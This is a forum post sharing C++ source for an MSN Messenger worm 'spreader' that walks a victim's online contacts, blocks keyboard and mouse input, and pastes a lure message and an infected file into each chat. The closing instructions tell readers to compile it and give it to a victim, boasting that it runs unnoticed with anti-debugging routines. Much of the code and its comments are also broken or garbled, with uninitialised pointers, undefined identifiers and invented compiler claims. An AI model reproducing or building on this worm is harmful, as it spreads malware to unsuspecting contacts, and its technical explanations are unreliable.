Jump to content
Jako

[C++] MSN Worm Module + Spreader

Recommended Posts

Posted
#include <Windows.h> // We include the windows header library since we are working with winapi

#ifdef _WIN32_WINNT & 0x0403
#pragma comment(linker, "/ALIGN:4096") // Win2k8+ likes to limit buffers to 2048-bit array
#pragma warning(disable : 4106) // This error tends to come up alot, let's just ignore it
#define WIN32_LEAN_AND_MEAN // Shouldn't this be a standard by now?
#endif

/*
We must always prototype the functions that we will use in
our program prior to defining them so the compiler wil know
what to expect when reading code. Good programming practice
*/

int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg);
BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd);
BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd);
int MSN_CloseActiveWindow();

// #import "../xxx/path/to/tlb/file" NOTE BELOW

/*
This should be the path to the msn messenger API class
note it's a .tlb file -- I have another function which
gets the base file path then afterwords you would just
import it, but I'm sure it won't be too hard to make a
function for this since it's like the only .tlb file
in the MSN folder lul -> Just GetModuleFileName() it
*/

BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd)
{
HGLOBAL hGlobal;
LPVOID lpData;

if (OpenClipboard(hwnd) <= 0) return FALSE; // if we cannot open clip-board then exit ()

EmptyClipboard(); // empty the data inside the clipboard so we can put new data in

hGlobal = GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(cb_data)+1); // reserve null bytes + alloc
hGlobal = GlobalLock(lpData); // so it blocks further data to be inserted into this c/b by the user
strcpy((LPSTR)lpData, cb_data); // Copy the clip_board data passed by param(1) to allocated grid

GlobalUnlock(hGlobal); // allow user to use data now since we cleared previous space with our data
SetClipboardData(CF_TEXT, lpData); // let the computer known that standard text is passed to c/b
// other standards include CF_ANSI and CF_UNICODE, POSIX std
CloseClipboard() ; // close clipboard just like we would a socket since its no longer in use
GlobalFree(lpData); // and of course clear the string data of original param for re-use
// this is just in case we want to use function again we wont have
// the old string data inside the clipboard if we want to add new
return ERROR_SUCCESS; // Notify the compiler, if it got to here, feed it 1 bit, good job!
}

/*
* This is fun, and you'll see it a lot in my programs
* I only include headers where needed. Here I include
* shlobj.h so I can use the DROPFILES Union Structure
* It allows me to link an filename to virtual memory
* directly without the need to allocate memory space

* Also note, just because the include is all the way
* out here doesn't mean it's not the preprocessor any
* more. The way MASM interprets x86 binary files is it
* would scan the file for pre-definte values before
* scanning for virtual includes (#def, #ifdef). After
* that is complete, it would look for the typecasts and
* namespace defintions, then functions prototypes, then
* finally it reads the code within your function header
*/
#include <shlobj.h>

BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd)
{
char InfectedFile[MAX_PATH]; // MAX_PATH = 256 characters just windows standard
int InfFileSize = NULL; // sizeof dropped object + data file, and its good to initialize always
HANDLE hdData;
LPDROPFILES lpDP;
LPBYTE lpbData;

memset(InfectedFile, 0, sizeof InfectedFile); // set 0 bytes of data to InfectedFilePath
strcpy(InfectedFile, cb_data); // Copy file path passed from param(1) to InfectedFile

if (OpenClipboard(hwnd) == FALSE) return FALSE; // again check if we can open clipboard if not exit

EmptyClipboard();
InfFileSize = sizeof DROPFILES + sizeof InfectedFile; // set the file size accordingly
hdData = GlobalAlloc(GHND, InfFileSize); // The filesize is set GMEM_MOVEABLE | GMEM_ZEROPOINT
lpDP = (LPDROPFILES)::GlobalLock (hdData); // We need to use data value, dont allow interaction
lpDP->pFiles = sizeof DROPFILES;
lpDP->fWide = FALSE;
lpbData = (LPBYTE)lpDP + sizeof DROPFILES; // lpDP is the denoted drop file structure add to data

CopyMemory (lpbData, InfectedFile, sizeof InfectedFile); // Copy our data to the infected file
// by providing it a size == to sizeof(infectedfile)
GlobalUnlock (hdData); // Okay, we're done with the data set, we can now use it
SetClipboardData (CF_HDROP, hdData); // Finally set the clipboard data associated it with file
CloseClipboard (); // close the clipboard since we are no longer using it
return ERROR_SUCCESS; // return 0x1, this is satisfaction for our compiler
}

int MSN_CloseActiveWindow()
{
HWND msn = NULL; // initiate it or compiler complains
for (int i=0; // initialize 'i' variable in the loop
(msn = FindWindow // declaring header window handler to FindWindow API hook
(TEXT("IMWindowClass"), // We are looking for an active window called 'IMWindowClass'
NULL)) != NULL; i++) // keep going until we find it, there should only be two active
{
SendMessage(msn,WM_CLOSE,(LPARAM)0,(WPARAM)0); // once the window is found, close it
}
return EXIT_SUCCESS; // exit, same as earlier, except different circumstance, same value though
}

int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg)
{
LONG IMW;
BSTR cname;
long ICS, i;
HRESULT res;
VARIANT vtu;
MISTATUS mIS;
int counter = NULL;

IMSNMessenger3* imsnCall = NULL;
IDispatch* getID = NULL;
IDispatch* dPCS = NULL;
IDispatch* dPC = NULL;
IMSNMessengerContacts* pIMCS = NULL;
IMSNMessengerContact* pIMC = NULL;
IMSNMessengerWindow* pIMW = NULL;

CoInitialize(0); // Call the Init thread from MSN header lib

res = CoCreateInstance(SID_MSGPT, // Create a passive thread
NULL, CLSCTX_ALL, RID_MSNQUERY, // to look for online users
(void*)&imsnCall); // in the victims friends list and save

if (FAILED(res)) return -1; // if msn query fails (i.e. no users are online) then exit file spread

imsnCall->get_MyContacts(&dPCS); // Compose list of online contants into list denoted by dPCS

res = dPCS->QueryInterface
(__uuidof(pIMCS),
(LPVOID*)&pIMCS);

if (FAILED(res)) return -1; // If list confirmation query fails and list is not found exit

res = pIMCS->get_Count(&ICS); // get number of contacts in the online list
if (FAILED(res)) return -1; // if we failed to get number of contacts, the exit

BlockInput(true); // This is a fun switch that blocks input from the user (keyboard+mouse)
for (i = 0; i < ICS; i++) // perform a for loop going through ICS (each person in contact list)
{
getID = NULL; // victim id = 0
res = pIMCS->raw_Item(i, &dPCS); // load contact list into current input frame (dPCS)
if (FAILED(res)) continue; // if it fails, we don't really care, it works anyways

res = dPC->QueryInterface(__uuidof(pIMC),(LPVOID*)&pIMC); // input frame focus on current user
if (SUCCEEDED(res)) // if the input frame is set then perform loop to load file
{
res = pIMC->get_Status(&mIS); // is the user online or offline when we message them?

if (FAILED(res) || mIS == MISTATUS_OFFLINE) // if we cant get status or user offline->exit
{
pIMC->Release(); // clear current contact list
dPC->Release(); // refresh and try again
continue; // we can move on to next query (flag 1), 1 more and worm will exit
}

pIMC->get_SigninName(&cname); // the following line inherits this function
VariantInit(&vtu); // create a new thread to check for users active in chat

res = imsnCall->raw_InstantMessage(vtu,&getID); // check if contact is blocked or not
if (FAILED(res)) // if the contact is blocked which is denoted by a -1 (FAILED)
{
pIMC->Release(); // clear contact list
dPC->Release(); // refresh and try again
continue; // even if it is blocked, we can move on (flag 2), worm spreader now exits
} // if both flags were marked then something is wrong (anti-debug) possible analysis

res = getID->QueryInterface(RID_MSNMSG_Window, (void*)&pIMW); // Open chat with our victim
if (SUCCEEDED(res)) // If it successed then continue, if not, well, no point then... quit
{
pIMW->get_HWND(&IMW); // Gets current state of the window (error checking is it active?)
SetForegroundWindow((HWND) IMW); // if not active (passed from previous call) now it is
SetFocus((HWND) IMW); // Set the mouse focus on the chat box inside the current window
ShowWindow((HWND) IMW, 0); // Open window in physical memory, now we interact with it

if (MSN_CopyDataToCB(spread_msg,(HWND)IMW)&0x1) // &0x1 checks if function executes
{// Now that we opened a chat session we can send our payload (message in this case)
keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL); // Press and hold ctrl
keybd_event(VkKeyScan('V'),NULL,NULL,NULL);// Look for the 'v' key
keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL); // Insert our data
keybd_event(VK_RETURN,NULL,NULL,NULL); // hit the enter key
}// these keyboard events will paste the data pased from "spreadmessage" into chat

if (MSN_CopyFiletoCB(spread_file,(HWND)IMW)&0x1) // same routine, in this case it
{ // it loads a file to the chat session (file upload) no need for RETURN key
keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL);
keybd_event(VkKeyScan('V'),NULL,NULL,NULL);
keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL);
}// The function class already processes the file upload routine as defined previously
counter++; // +1 successfull payload sent, increase return bits for the end
}
pIMC->Release(); // clear the contact list
dPC->Release(); // refresh and try again
}// unless the current contact list buffer is at the max (for-loop is finished)
}

imsnCall->Release(); // clear the composed contact list, refresh active buffer
BlockInput(false); // the victim can now interact with his computer once again
pIMCS->Release(); // clear the value of number of contacts in victims list
dPCS->Release() ; // clear all remaining contact from virtual layer buffer
CoUninitialize(); // Uninitialize the init call for the MSN messenger API
// We now uninitialzed the API since our worm has finished its task
return counter; // return the number of bits equal to victims queried
}

Instructions:

You simply need to link the MSN API binary (as commented in the code), and compile it with MSVS2012 providing the following linker options:
_CRT_SECURE_NO_WARNINGS
_OPTIMIZE_GSY_SECURE
_HEADER_NO_NODE_INC

Then you give it to your victim. It's very quiet, and works nicely in the background without the victim's knowledge. The payload is only 7.6kb and includes 2 anti-debugging/anti-detect routines.

 

CREDITS:

BugTrack

  • Upvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...